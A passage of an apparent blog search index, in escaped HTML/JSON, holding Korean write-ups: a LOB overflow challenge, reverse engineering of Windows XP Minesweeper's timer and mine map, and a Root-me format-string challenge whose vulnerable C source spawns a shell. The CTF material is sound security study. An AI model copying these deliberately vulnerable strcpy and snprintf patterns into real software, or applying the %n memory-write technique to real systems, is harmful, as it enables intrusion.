class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e// check address\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eaddr\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003eDO\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003ememcmp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e44\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003eaddr\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;You must fall in love with DO\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003eexit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e// overflow!\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003estrcpy\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%s\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e// stack destroyer\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e// 100 : extra space for copied argv[1]\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003ememset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e44\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003ememset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e100\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xbfffffff\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e)(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e100\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e// LD_* eraser\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e// 40 : extra space for memset function\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003ememset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"mi\"\u003e3000\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e3000\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"mi\"\u003e40\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e여러 제약 조건들로 인해 출제자의 의도대로 \u003ccode\u003eDO()\u003c/code\u003e, \u003ccode\u003eGYE()\u003c/code\u003e, \u003ccode\u003eGUL()\u003c/code\u003e, \u003ccode\u003eYUT()\u003c/code\u003e, \u003ccode\u003eMO()\u003c/code\u003e 함수를 체이닝 할수밖에 없습니다.\u003c/p\u003e","title":"LOB zombie_assassin (lv.17/20) Writeup"},{"content":"이번 글에서는 Windows XP 지뢰찾기를 동적 분석하여 타이머를 수정하고 지뢰 배치를 확인할 수 있는 코드를 작성하는 과정을 살펴보겠습니다.\n윈도우 GUI 프로그램은 기본적으로 창 단위로 구성되고, 해당 창에서 일어나는 이벤트를 핸들링 하기 위한 프로시저가 존재합니다.\n지뢰찾기의 핵심 로직은 결국 이 프로시저에 존재하게 되어있습니다.\n그렇다면 프로시저의 주소는 어떻게 찾을까요? 윈도우 API 를 사용해 창을 생성하려면 무조건 RegisterClass() 를 호출하여 해당 창의 정보를 등록해야 합니다.\nATOM RegisterClassA( [in] const WNDCLASSA *lpWndClass ); 이때 넘어가는 WNDCLASSA 구조체를 살펴보면 프로시저의 주소값을 담는 lpfnWndProc 필드가 보입니다.\ntypedef struct tagWNDCLASSA { UINT style; WNDPROC lpfnWndProc; int cbClsExtra; int cbWndExtra; HINSTANCE hInstance; HICON hIcon; HCURSOR hCursor; HBRUSH hbrBackground; LPCSTR lpszMenuName; LPCSTR lpszClassName; } WNDCLASSA, *PWNDCLASSA, *NPWNDCLASSA, *LPWNDCLASSA; 즉, RegisterClass() 를 호출하는 부분에 BP 를 찍은 뒤 스택 구조를 분석하면 프로시저의 주소를 알아낼 수 있습니다.\nRegisterClass() 직전 멈췄는데, 임의의 WNDCLASS 주소가 스택에 푸시되었습니다.\n호출 직전 스택 구조는 어떨까요?\n이해를 돕기위해 구조체 필드에 대응되는 값들에 화살표를 그려봤습니다.\n위 사진에서 esp 주소에 있는 주소는 WNDCLASS 구조체의 주소(0x000CFE98) 인데, 32비트 프로그램이니 lpfnWndProc 은 esp에 4를 더한 주소인 0x000CFE9C 가 됩니다.\n프로시저에 들어오면 switch 문에서 윈도우 메시지에 따라 분기하는 코드가 보입니다. Microsoft 공식 문서에서도 자주 보이는 프로시저의 전형적인 패턴입니다.\n쭉 내려가보니 0x01002FE0 주소를 호출할 때 마다 게임 시간이 1초씩 증가됩니다.\n타이머 값을 수정하는 것도 목표니 들어가서 확인해보겠습니다\nSetDIBitsToDevice() 함수를 호출하여 그래픽적인? 타이머를 그리고 있었습니다.\n그래픽을 그리는 쪽이라면 그 원본 값도 가지고 있을 것 같아 SetDIBitsToDevice() 자체에 BP 를 걸어놓고 Continue 를 시켜봤는데, 매번 멈출때마다 edi 가 타이머 값과 동일한 값을 가지고 있으니 이 값을 넣어주는 부분을 찾아야 합니다.\n사진에서 하이라이트된 부분(0x0100282D)에서 edi 에 시간값을 넣어주고 있었고, 게임 시간의 원본 값은 0x0100579c에 저장되어 있었습니다.\n해당 값을 500초로 수정하여 진짜 원본값이 맞는지 확인 해보겠습니다.\n정상 반영이 되었으니 코드로도 작성해보겠습니다.\n이제 타이머 분석은 끝났고, 지뢰를 배치하는 과정을 분석해보도록 하겠습니다.\n지뢰의 위치는 새 게임을 시작할 때 마다 \u0026ldquo;랜덤\u0026quot;으로 배치됩니다.\n지뢰를 배치하기 전, rand() 함수를 호출할 가능성이 높아 BP 를 걸었더니 예상대로 새 게임마다 BP 에 걸렸습니다.\nrand() 함수 자체를 분석하는 것이 아니니 step out 을 하였는데 rand() 함수를 실행하고 나서 특정 메모리 영역에 어떤 값을 규칙적이게 write 하는 것을 보고 \u0026ldquo;게임 맵인가?\u0026rdquo; 하는 의심이 들었습니다.\n당연히 위치의 기준으로 사용할 랜덤값을 받았다면 그걸 활용해 게임맵상에 뭔가를 써야겠죠?\n그래서 로직을 분석해보니, 지뢰가 이미 존재하면 rand() 를 한 번 더 호출하고 없으면 그대로 배치하는 방식입니다.\n또한 해당 메모리 영역을 수정하였을 때 게임 맵에 영향이 가는 것으로 보아 게임 맵이 맞다고 확신하였습니다.\n분석 결과, 게임 맵에서 각 값에 대한 의미는 다음과 같습니다.\n숫자: 0x41 ~ 0x48 배경: 0x40 클릭하기 전: 0x0F 지뢰가 매설된 곳: 0x8F, 밟아서 노출된 지뢰(게임오버): 0x8A\n게임 맵 배열의 끝: 0x10\n지뢰찾기 게임은 초급/중급/고급 난이도별로 게임 판의 크기가 결정되는데, 메모리에서 보이는 0x0f 는 난이도에 따라 가변적으로 사용되는 영역이고 0x10 은 현재 게임 맵의 끝입니다.\n이제 지뢰의 위치를 노출시켜보도록 하겠습니다.\n보호 기법이 있을리 없는 오래된 프로그램이다 보니 분석이 수월했습니다.\n읽어주셔서 감사합니다.\n","permalink":"https://byeongmin.kr/posts/2019-04-10-reverse-engineering-windows-xp-minesweeper/","summary":"\u003cp\u003e이번 글에서는 Windows XP 지뢰찾기를 동적 분석하여 \u003cstrong\u003e타이머를 수정\u003c/strong\u003e하고 \u003cstrong\u003e지뢰 배치를 확인\u003c/strong\u003e할 수 있는 코드를 작성하는 과정을 살펴보겠습니다.\u003c/p\u003e\n\u003cp\u003e윈도우 GUI 프로그램은 기본적으로 창 단위로 구성되고, 해당 창에서 일어나는 이벤트를 핸들링 하기 위한 프로시저가 존재합니다.\u003c/p\u003e\n\u003cp\u003e지뢰찾기의 핵심 로직은 결국 이 프로시저에 존재하게 되어있습니다.\u003c/p\u003e\n\u003cp\u003e그렇다면 프로시저의 주소는 어떻게 찾을까요? 윈도우 API 를 사용해 창을 생성하려면 무조건 \u003ccode\u003eRegisterClass()\u003c/code\u003e 를 호출하여 해당 창의 정보를 등록해야 합니다.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eATOM\u003c/span\u003e \u003cspan class=\"nf\"\u003eRegisterClassA\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ein\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eWNDCLASSA\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003elpWndClass\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e이때 넘어가는 \u003ccode\u003eWNDCLASSA\u003c/code\u003e 구조체를 살펴보면 프로시저의 주소값을 담는 \u003ccode\u003elpfnWndProc\u003c/code\u003e 필드가 보입니다.\u003c/p\u003e","title":"Reverse Engineering Windows XP Minesweeper"},{"content":"이번 문제는 FSB 를 트리거하여 check 변수의 값을 0xdeadbeef 로 덮는것이 목표입니다.\nprintf() 계열 함수는 포맷 스트링을 인자로 받는데, 여기에 사용자 입력값이 들어가게 되면 입력값에 포함된 포맷스트링이 해석되어 FSB 취약점이 발생합니다.\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;sys/types.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; int main(int argc, char **argv) { int var; int check = 0x04030201; char fmt[128]; if (argc \u0026lt; 2) exit(0); memset(fmt, 0, sizeof(fmt)); printf(\u0026#34;check at 0x%x\\n\u0026#34;, \u0026amp; check); printf(\u0026#34;argv[1] = [%s]\\n\u0026#34;, argv[1]); snprintf(fmt, sizeof(fmt), argv[1]); if ((check != 0x04030201) \u0026amp;\u0026amp; (check != 0xdeadbeef)) printf(\u0026#34;\\nYou are on the right way !\\n\u0026#34;); printf(\u0026#34;fmt=[%s]\\n\u0026#34;, fmt); printf(\u0026#34;check=0x%x\\n\u0026#34;, check); if (check == 0xdeadbeef) { printf(\u0026#34;Yeah dude ! You win !\\n\u0026#34;); setreuid(geteuid(), geteuid()); system(\u0026#34;/bin/bash\u0026#34;); } } snprintf() 의 함수 원형을 보면 세번째 인자는 포맷 스트링이 들어가야 하는 자리이지만 문제 코드를 보면 세번째 인자에 사용자 입력값이 들어가고 있습니다.\nint snprintf(char *s, size_t n, const char *format, ...); gdb 로 snprintf() 함수를 호출하는 부분에 BP 를 걸고 포맷 스트링을 넘겨서 실행중에 fmt 변수값이 어떻게 변하는지 봅시다.\nmain+159 에서 step over 하니 fmt 변수(0xbffffb28) 에 임의의 주소값이 덧붙여졌습니다.\nFSB가 발생하는 것은 확인했고, 이제 목표는 check변수에 0xdeadbeef를 덮어쓰고 검증을 통과해 쉘을 얻는 것 입니다.\n%n 은 FSB 의 핵심인데, 지금까지 출력된 문자 갯수를 카운트 하여 int 타입으로 특정 주소에 write 할 수 있습니다.\n하지만 0xdeadbeef 를 %n 으로 한번에 쓰려면 3735928559자의 문자열을 출력해야 하고 signed int 범위도 초과하여 음수로 인식하니, 4바이트를 통째로 저장하지 않고 2바이트씩 쪼개서 write 하도록 하겠습니다.\n아래 페이로드 구조를 보면 한눈에 이해가 될것 같습니다.\npayload 의 길이에 따라 check 의 주소값이 변하기 때문에 어느정도의 게싱은 필요합니다.\n읽어주셔서 감사합니다\n","permalink":"https://byeongmin.kr/posts/2019-03-09-root-me-org-elf-x86-format-string-bug-basic-2-writeup/","summary":"\u003cp\u003e이번 문제는 FSB 를 트리거하여 \u003ccode\u003echeck\u003c/code\u003e 변수의 값을 \u003ccode\u003e0xdeadbeef\u003c/code\u003e 로 덮는것이 목표입니다.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e 계열 함수는 포맷 스트링을 인자로 받는데, 여기에 사용자 입력값이 들어가게 되면 입력값에 포함된 포맷스트링이 해석되어 FSB 취약점이 발생합니다.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;sys/types.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eargc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003evar\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003echeck\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x04030201\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"n\"\u003efmt\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e128\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"nf\"\u003eexit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003ememset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"k\"\u003esizeof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efmt\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;check at 0x%x\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003echeck\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;argv[1] = [%s]\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003esnprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"k\"\u003esizeof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efmt\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003echeck\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x04030201\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003echeck\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xdeadbeef\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003eYou are on the right way !\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;fmt=[%s]\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003efmt\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;check=0x%x\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003echeck\u003c/span\u003e\u003cspan 